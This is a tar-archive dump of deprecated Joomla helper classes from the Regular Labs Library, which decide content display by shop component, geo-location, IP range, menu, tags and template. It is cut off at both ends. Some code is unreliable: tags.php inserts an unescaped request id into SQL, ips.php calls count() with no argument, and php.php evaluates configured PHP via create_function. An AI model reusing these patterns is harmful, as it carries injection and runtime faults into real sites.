* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsForm2Content extends RLAssignment
{
public function passProjects()
{
if ($this->request->option != 'com_content' &&
$this->request->view == 'article')
{
return $this->pass(false);
}
$query = $this->db->getQuery(true)
->select('c.projectid')
->from('#__f2c_form AS c')
->where('c.reference_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
helpers/assignments/geo.php000064400000005162151167425550012043
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Log\Log as JLog;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsGeo extends RLAssignment
{
var $geo = null;
/**
* passContinents
*/
public function passContinents()
{
if ( ! $this->getGeo() || empty($this->geo->continentCode))
{
return $this->pass(false);
}
return $this->passSimple([$this->geo->continent,
$this->geo->continentCode]);
}
/**
* passCountries
*/
public function passCountries()
{
$this->getGeo();
if ( ! $this->getGeo() || empty($this->geo->countryCode))
{
return $this->pass(false);
}
return $this->passSimple([$this->geo->country,
$this->geo->countryCode]);
}
/**
* passRegions
*/
public function passRegions()
{
if ( ! $this->getGeo() || empty($this->geo->countryCode) ||
empty($this->geo->regionCodes))
{
return $this->pass(false);
}
$regions = $this->geo->regionCodes;
array_walk($regions, function (&$value) {
$value = $this->geo->countryCode . '-' . $value;
});
return $this->passSimple($regions);
}
/**
* passPostalcodes
*/
public function passPostalcodes()
{
if ( ! $this->getGeo() || empty($this->geo->postalCode))
{
return $this->pass(false);
}
// replace dashes with dots: 730-0011 => 730.0011
$postalcode = str_replace('-', '.',
$this->geo->postalCode);
return $this->passInRange($postalcode);
}
public function getGeo($ip = '')
{
if ($this->geo !== null)
{
return $this->geo;
}
$geo = $this->getGeoObject($ip);
if (empty($geo))
{
return false;
}
$this->geo = $geo->get();
if (JFactory::getApplication()->get('debug'))
{
JLog::addLogger(['text_file' =>
'regularlabs_geoip.log.php'], JLog::ALL,
['regularlabs_geoip']);
JLog::add(json_encode($this->geo), JLog::DEBUG,
'regularlabs_geoip');
}
return $this->geo;
}
private function getGeoObject($ip)
{
if ( ! file_exists(JPATH_LIBRARIES . '/geoip/geoip.php'))
{
return false;
}
require_once JPATH_LIBRARIES . '/geoip/geoip.php';
if ( ! class_exists('RegularLabs_GeoIp'))
{
return new GeoIp($ip);
}
return new RegularLabs_GeoIp($ip);
}
}
helpers/assignments/hikashop.php000064400000005775151167425550013111
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsHikaShop extends RLAssignment
{
public function passPageTypes()
{
if ($this->request->option != 'com_hikashop')
{
return $this->pass(false);
}
$type = $this->request->view;
if (
($type == 'product' &&
in_array($this->request->layout, ['contact',
'show']))
|| ($type == 'user' &&
in_array($this->request->layout, ['cpanel']))
)
{
$type .= '_' . $this->request->layout;
}
return $this->passSimple($type);
}
public function passCategories()
{
if ($this->request->option != 'com_hikashop')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category' ||
$this->request->layout == 'listing')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->getCategories();
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
if ( ! $this->request->id || $this->request->option !=
'com_hikashop' || $this->request->view !=
'product')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCategories()
{
switch (true)
{
case (($this->request->view == 'category' ||
$this->request->layout == 'listing') &&
$this->request->id):
return [$this->request->id];
case ($this->request->view == 'category' ||
$this->request->layout == 'listing'):
include_once JPATH_ADMINISTRATOR .
'/components/com_hikashop/helpers/helper.php';
$menuClass = hikashop_get('class.menus');
$menuData = $menuClass->get($this->request->Itemid);
return
$this->makeArray($menuData->hikashop_params['selectparentlisting']);
case ($this->request->id):
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__hikashop_product_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
return $this->makeArray($cats);
default:
return [];
}
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'hikashop_category',
'category_parent_id', 'category_id');
}
}
helpers/assignments/homepage.php000064400000011606151167425550013056
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\LanguageHelper as JLanguageHelper;
use Joomla\CMS\Uri\Uri as JUri;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/text.php';
require_once dirname(__DIR__) . '/string.php';
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsHomePage extends RLAssignment
{
public function passHomePage()
{
$home =
JFactory::getApplication()->getMenu('site')->getDefault(JFactory::getLanguage()->getTag());
// return if option or other set values do not match the homepage menu
item values
if ($this->request->option)
{
// check if option is different to home menu
if ( ! $home || ! isset($home->query['option']) ||
$home->query['option'] != $this->request->option)
{
return $this->pass(false);
}
if ( ! $this->request->option)
{
// set the view/task/layout in the menu item to empty if not set
$home->query['view'] =
isset($home->query['view']) ?
$home->query['view'] : '';
$home->query['task'] =
isset($home->query['task']) ?
$home->query['task'] : '';
$home->query['layout'] =
isset($home->query['layout']) ?
$home->query['layout'] : '';
}
// check set values against home menu query items
foreach ($home->query as $k => $v)
{
if ((isset($this->request->{$k}) &&
$this->request->{$k} != $v)
|| (
( ! isset($this->request->{$k}) || in_array($v,
['virtuemart', 'mijoshop']))
&& JFactory::getApplication()->input->get($k) != $v
)
)
{
return $this->pass(false);
}
}
// check post values against home menu params
foreach ($home->params->toObject() as $k => $v)
{
if (($v && isset($_POST[$k]) && $_POST[$k] != $v)
|| ( ! $v && isset($_POST[$k]) && $_POST[$k])
)
{
return $this->pass(false);
}
}
}
$pass = $this->checkPass($home);
if ( ! $pass)
{
$pass = $this->checkPass($home, 1);
}
return $this->pass($pass);
}
private function checkPass(&$home, $addlang = 0)
{
$uri = JUri::getInstance();
if ($addlang)
{
$sef = $uri->getVar('lang');
if (empty($sef))
{
$langs = array_keys(JLanguageHelper::getLanguages('sef'));
$path = RLString::substr(
$uri->toString(['scheme', 'user',
'pass', 'host', 'port', 'path']),
RLString::strlen($uri->base())
);
$path = preg_replace('#^index\.php/?#', '',
$path);
$parts = explode('/', $path);
$part = reset($parts);
if (in_array($part, $langs))
{
$sef = $part;
}
}
if (empty($sef))
{
return false;
}
}
$query = $uri->toString(['query']);
if (strpos($query, 'option=') === false &&
strpos($query, 'Itemid=') === false)
{
$url = $uri->toString(['host', 'path']);
}
else
{
$url = $uri->toString(['host', 'path',
'query']);
}
// remove the www.
$url = preg_replace('#^www\.#', '', $url);
// replace ampersand chars
$url = str_replace('&', '&', $url);
// remove any language vars
$url =
preg_replace('#((\?)lang=[a-z-_]*(&|$)|&lang=[a-z-_]*)#',
'\2', $url);
// remove trailing nonsense
$url = trim(preg_replace('#/?\??&?$#', '',
$url));
// remove the index.php/
$url = preg_replace('#/index\.php(/|$)#', '/', $url);
// remove trailing /
$url = trim(preg_replace('#/$#', '', $url));
$root = JUri::root();
// remove the http(s)
$root = preg_replace('#^.*?://#', '', $root);
// remove the www.
$root = preg_replace('#^www\.#', '', $root);
//remove the port
$root = preg_replace('#:[0-9]+#', '', $root);
// so also passes on urls with trailing /, ?, &, /?, etc...
$root = preg_replace('#(Itemid=[0-9]*).*^#', '\1',
$root);
// remove trailing /
$root = trim(preg_replace('#/$#', '', $root));
if ($addlang)
{
$root .= '/' . $sef;
}
/* Pass urls:
* [root]
*/
$regex = '#^' . $root . '$#i';
if (preg_match($regex, $url))
{
return true;
}
/* Pass urls:
* [root]?Itemid=[menu-id]
* [root]/?Itemid=[menu-id]
* [root]/index.php?Itemid=[menu-id]
* [root]/[menu-alias]
* [root]/[menu-alias]?Itemid=[menu-id]
* [root]/index.php?[menu-alias]
* [root]/index.php?[menu-alias]?Itemid=[menu-id]
* [root]/[menu-link]
* [root]/[menu-link]&Itemid=[menu-id]
*/
$regex = '#^' . $root
. '(/('
. 'index\.php'
. '|'
. '(index\.php\?)?' . RLText::pregQuote($home->alias)
. '|'
. RLText::pregQuote($home->link)
. ')?)?'
. '(/?[\?&]Itemid=' . (int) $home->id . ')?'
. '$#i';
return preg_match($regex, $url);
}
}
helpers/assignments/ips.php000064400000005742151167425550012070
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsIPs extends RLAssignment
{
public function passIPs()
{
if (is_array($this->selection))
{
$this->selection = implode(',', $this->selection);
}
$this->selection = explode(',', str_replace([' ',
"\r", "\n"], ['', '',
','], $this->selection));
$pass = $this->checkIPList();
return $this->pass($pass);
}
private function checkIPList()
{
foreach ($this->selection as $range)
{
// Check next range if this one doesn't match
if ( ! $this->checkIP($range))
{
continue;
}
// Match found, so return true!
return true;
}
// No matches found, so return false
return false;
}
private function checkIP($range)
{
if (empty($range))
{
return false;
}
if (strpos($range, '-') !== false)
{
// Selection is an IP range
return $this->checkIPRange($range);
}
// Selection is a single IP (part)
return $this->checkIPPart($range);
}
private function checkIPRange($range)
{
$ip = $_SERVER['REMOTE_ADDR'];
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
// check if IP is between or equal to the from and to IP range
list($min, $max) = explode('-', trim($range), 2);
// Return false if IP is smaller than the range start
if ($ip < trim($min))
{
return false;
}
$max = $this->fillMaxRange($max, $min);
// Return false if IP is larger than the range end
if ($ip > trim($max))
{
return false;
}
return true;
}
/* Fill the max range by prefixing it with the missing parts from the min
range
* So 101.102.103.104-201.202 becomes:
* max: 101.102.201.202
*/
private function fillMaxRange($max, $min)
{
$max_parts = explode('.', $max);
if (count() == 4)
{
return $max;
}
$min_parts = explode('.', $min);
$prefix = array_slice($min_parts, 0, count($min_parts) -
count($max_parts));
return implode('.', $prefix) . '.' .
implode('.', $max_parts);
}
private function checkIPPart($range)
{
$ip = $_SERVER['REMOTE_ADDR'];
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
$ip_parts = explode('.', $ip);
$range_parts = explode('.', trim($range));
// Trim the IP to the part length of the range
$ip = implode('.', array_slice($ip_parts, 0,
count($range_parts)));
// Return false if ip does not match the range
if ($range != $ip)
{
return false;
}
return true;
}
}
helpers/assignments/k2.php000064400000010676151167425550011613
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
// If controller.php exists, assume this is K2 v3
defined('RL_K2_VERSION') or define('RL_K2_VERSION',
file_exists(JPATH_ADMINISTRATOR .
'/components/com_k2/controller.php') ? 3 : 2);
class RLAssignmentsK2 extends RLAssignment
{
public function passPageTypes()
{
return $this->passByPageTypes('com_k2', $this->selection,
$this->assignment, false, true);
}
public function passCategories()
{
if ($this->request->option != 'com_k2')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& (($this->request->view == 'itemlist'
&& $this->request->task == 'category')
|| $this->request->view == 'latest'
)
)
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'item' :
return $this->getCategoryIDFromItem();
break;
case 'itemlist' :
return $this->getCategoryID();
break;
default:
return '';
}
}
private function getCategoryID()
{
return $this->request->id ?:
JFactory::getApplication()->getUserStateFromRequest('com_k2itemsfilter_category',
'catid', 0, 'int');
}
private function getCategoryIDFromItem()
{
if ($this->article && isset($this->article->catid))
{
return $this->article->catid;
}
$query = $this->db->getQuery(true)
->select('i.catid')
->from('#__k2_items AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadResult();
}
public function passTags()
{
if ($this->request->option != 'com_k2')
{
return $this->pass(false);
}
$tag =
trim(JFactory::getApplication()->input->getString('tag',
''));
$pass = (
($this->params->inc_tags && $tag != '')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->pass(false);
}
if ($this->params->inc_tags && $tag != '')
{
$tags =
[trim(JFactory::getApplication()->input->getString('tag',
''))];
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__k2_tags_xref AS x')
->join('LEFT', '#__k2_tags AS t ON t.id =
x.tagID')
->where('x.itemID = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
public function passItems()
{
if ( ! $this->request->id || $this->request->option !=
'com_k2' || $this->request->view != 'item')
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeywords'))
{
return $this->pass(false);
}
// Pass Meta Keywords
if ( ! $this->passItemByType($pass, 'MetaKeywords'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__k2_items')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
private function getCatParentIds($id = 0)
{
$parent_field = RL_K2_VERSION == 3 ? 'parent_id' :
'parent';
return $this->getParentIds($id, 'k2_categories',
$parent_field);
}
}
helpers/assignments/languages.php000064400000001371151167425550013235
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsLanguages extends RLAssignment
{
public function passLanguages()
{
return $this->passSimple(JFactory::getLanguage()->getTag(), true);
}
}
helpers/assignments/menu.php000064400000004547151167425550012243
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsMenu extends RLAssignment
{
public function passMenu()
{
// return if no Itemid or selection is set
if ( ! $this->request->Itemid || empty($this->selection))
{
return $this->pass($this->params->inc_noitemid);
}
$menutype = 'type.' . self::getMenuType();
// return true if menu type is in selection
if (in_array($menutype, $this->selection))
{
return $this->pass(true);
}
// return true if menu is in selection
if (in_array($this->request->Itemid, $this->selection))
{
return $this->pass(($this->params->inc_children != 2));
}
if ( ! $this->params->inc_children)
{
return $this->pass(false);
}
$parent_ids = $this->getMenuParentIds($this->request->Itemid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if ( ! in_array($id, $this->selection))
{
continue;
}
return $this->pass(true);
}
return $this->pass(false);
}
private function getMenuParentIds($id = 0)
{
return $this->getParentIds($id, 'menu');
}
private function getMenuType()
{
if (isset($this->request->menutype))
{
return $this->request->menutype;
}
if (empty($this->request->Itemid))
{
$this->request->menutype = '';
return $this->request->menutype;
}
if (JFactory::getApplication()->isClient('site'))
{
$menu = JFactory::getApplication()->getMenu()->getItem((int)
$this->request->Itemid);
$this->request->menutype = isset($menu->menutype) ?
$menu->menutype : '';
return $this->request->menutype;
}
$query = $this->db->getQuery(true)
->select('m.menutype')
->from('#__menu AS m')
->where('m.id = ' . (int) $this->request->Itemid);
$this->db->setQuery($query);
$this->request->menutype = $this->db->loadResult();
return $this->request->menutype;
}
}
helpers/assignments/mijoshop.php000064400000005770151167425550013126
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsMijoShop extends RLAssignment
{
public function init()
{
$input = JFactory::getApplication()->input;
$category_id = $input->getCmd('path', 0);
if (strpos($category_id, '_'))
{
$category_id = end(explode('_', $category_id));
}
$this->request->item_id =
$input->getInt('product_id', 0);
$this->request->category_id = $category_id;
$this->request->id = ($this->request->item_id) ?
$this->request->item_id : $this->request->category_id;
$view = $input->getCmd('view', '');
if (empty($view))
{
$mijoshop = JPATH_ROOT .
'/components/com_mijoshop/mijoshop/mijoshop.php';
if ( ! file_exists($mijoshop))
{
return;
}
require_once($mijoshop);
$route = $input->getString('route', '');
$view = MijoShop::get('router')->getView($route);
}
$this->request->view = $view;
}
public function passPageTypes()
{
return $this->passByPageTypes('com_mijoshop',
$this->selection, $this->assignment, true);
}
public function passCategories()
{
if ($this->request->option != 'com_mijoshop')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = [];
if ($this->request->category_id)
{
$cats = $this->request->category_id;
}
else if ($this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__mijoshop_product_to_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
if ( ! $this->request->id || $this->request->option !=
'com_mijoshop' || $this->request->view !=
'product')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'mijoshop_category',
'parent_id', 'category_id');
}
}
helpers/assignments/php.php000064400000005445151167425550012064
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsPHP extends RLAssignment
{
public function passPHP()
{
$article = $this->article;
if ( ! is_array($this->selection))
{
$this->selection = [$this->selection];
}
$pass = false;
foreach ($this->selection as $php)
{
// replace \n with newline and other fix stuff
$php = str_replace('\|', '|', $php);
$php = preg_replace('#(?<!\\\)\\\n#', "\n",
$php);
$php = trim(str_replace('[:REGEX_ENTER:]', '\n',
$php));
if ($php == '')
{
$pass = true;
break;
}
if ( ! $article && strpos($php, '$article') !== false)
{
$article = null;
if ($this->request->option == 'com_content' &&
$this->request->view == 'article')
{
$article = $this->getArticleById($this->request->id);
}
}
if ( ! isset($Itemid))
{
$Itemid =
JFactory::getApplication()->input->getInt('Itemid', 0);
}
if ( ! isset($mainframe))
{
$mainframe = JFactory::getApplication();
}
if ( ! isset($app))
{
$app = JFactory::getApplication();
}
if ( ! isset($document))
{
$document = JFactory::getDocument();
}
if ( ! isset($doc))
{
$doc = JFactory::getDocument();
}
if ( ! isset($database))
{
$database = JFactory::getDbo();
}
if ( ! isset($db))
{
$db = JFactory::getDbo();
}
if ( ! isset($user))
{
$user = JFactory::getUser();
}
$php .= ';return true;';
$temp_PHP_func = create_function('&$article, &$Itemid,
&$mainframe, &$app, &$document, &$doc, &$database,
&$db, &$user', $php);
// evaluate the script
ob_start();
$pass = (bool) $temp_PHP_func($article, $Itemid, $mainframe, $app,
$document, $doc, $database, $db, $user);
unset($temp_PHP_func);
ob_end_clean();
if ($pass)
{
break;
}
}
return $this->pass($pass);
}
private function getArticleById($id = 0)
{
if ( ! $id)
{
return null;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
return $model->getItem($this->request->id);
}
}
helpers/assignments/redshop.php000064400000005046151167425550012736
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsRedShop extends RLAssignment
{
public function init()
{
$this->request->item_id =
JFactory::getApplication()->input->getInt('pid', 0);
$this->request->category_id =
JFactory::getApplication()->input->getInt('cid', 0);
$this->request->id = ($this->request->item_id) ?
$this->request->item_id : $this->request->category_id;
}
public function passPageTypes()
{
return $this->passByPageTypes('com_redshop',
$this->selection, $this->assignment, true);
}
public function passCategories()
{
if ($this->request->option != 'com_redshop')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = [];
if ($this->request->category_id)
{
$cats = $this->request->category_id;
}
else if ($this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.category_id')
->from('#__redshop_product_category_xref AS x')
->where('x.product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
if ( ! $this->request->id || $this->request->option !=
'com_redshop' || $this->request->view !=
'product')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'redshop_category_xref',
'category_parent_id', 'category_child_id');
}
}
helpers/assignments/tags.php000064400000005173151167425550012231
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsTags extends RLAssignment
{
public function passTags()
{
if (in_array($this->request->option, ['com_content',
'com_flexicontent']))
{
return $this->passTagsContent();
}
if ($this->request->option != 'com_tags'
|| $this->request->view != 'tag'
|| ! $this->request->id
)
{
return $this->pass(false);
}
return $this->passTag($this->request->id);
}
private function passTagsContent()
{
$is_item = in_array($this->request->view, ['',
'article', 'item']);
$is_category = in_array($this->request->view,
['category']);
switch (true)
{
case ($is_item):
$prefix = 'com_content.article';
break;
case ($is_category):
$prefix = 'com_content.category';
break;
default:
return $this->pass(false);
}
// Load the tags.
$query = $this->db->getQuery(true)
->select($this->db->quoteName('t.id'))
->select($this->db->quoteName('t.title'))
->from('#__tags AS t')
->join(
'INNER', '#__contentitem_tag_map AS m'
. ' ON m.tag_id = t.id'
. ' AND m.type_alias = ' . $this->db->quote($prefix)
. ' AND m.content_item_id IN ( ' . $this->request->id .
')'
);
$this->db->setQuery($query);
$tags = $this->db->loadObjectList();
if (empty($tags))
{
return $this->pass(false);
}
foreach ($tags as $tag)
{
if ( ! $this->passTag($tag->id) && !
$this->passTag($tag->title))
{
continue;
}
return $this->pass(true);
}
return $this->pass(false);
}
private function passTag($tag)
{
$pass = in_array($tag, $this->selection);
if ($pass)
{
// If passed, return false if assigned to only children
// Else return true
return ($this->params->inc_children != 2);
}
if ( ! $this->params->inc_children)
{
return false;
}
// Return true if a parent id is present in the selection
return array_intersect(
$this->getTagsParentIds($tag),
$this->selection
);
}
private function getTagsParentIds($id = 0)
{
$parentids = $this->getParentIds($id, 'tags');
// Remove the root tag
$parentids = array_diff($parentids, [1]);
return $parentids;
}
}
helpers/assignments/templates.php000064400000003773151167425550013275
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsTemplates extends RLAssignment
{
public function passTemplates()
{
$template = $this->getTemplate();
// Put template name and name + style id into array
// The '::' separator was used in pre Joomla 3.3
$template = [$template->template, $template->template .
'--' . $template->id, $template->template . '::'
. $template->id];
return $this->passSimple($template, true);
}
public function getTemplate()
{
$template = JFactory::getApplication()->getTemplate(true);
if (isset($template->id))
{
return $template;
}
$params = json_encode($template->params);
// Find template style id based on params, as the template style id is
not always stored in the getTemplate
$query = $this->db->getQuery(true)
->select('id')
->from('#__template_styles as s')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
